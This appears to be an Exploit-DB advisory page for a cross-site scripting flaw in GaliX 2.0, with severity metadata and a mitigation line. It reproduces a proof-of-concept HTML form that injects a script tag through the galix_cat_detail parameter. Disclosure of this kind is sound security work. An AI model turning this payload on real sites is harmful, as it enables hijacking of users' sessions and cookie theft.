GaliX Cross-Site Scripting Vulnerability

vendor:

GaliX

by:

John Martinelli

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: GaliX

Affected Version From: 2

Affected Version To: 2

Patch Exists: NO

Related CWE:

CPE: a:galix:galix:2.0

Metasploit:

Other Scripts:

Platforms Tested:

2007

GaliX Cross-Site Scripting Vulnerability

GaliX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

To mitigate this vulnerability, ensure that all user-supplied data is properly sanitized and validated before being used in web applications.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/24066/info

GaliX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

GaliX 2.0 is vulnerable to these issues; other versions may also be affected. 

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John Martinelli
john@martinelli.com

RedLevel Security
RedLevel.org

April 18th, 2007

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<form action="http://www.example.com/path/index.php" method="post">
<input name="galix_action" type="hidden" value="galery">
<input name="galix_cat_detail" size=75 value="<"<<script>alert(1);</script>">
<input name="galix_cat_detail_sort" type="hidden" value="1">
<input name="galix_language_change" type="hidden" value="1">
<input type=submit value="Execute XSS Attack" class="button">
</form>

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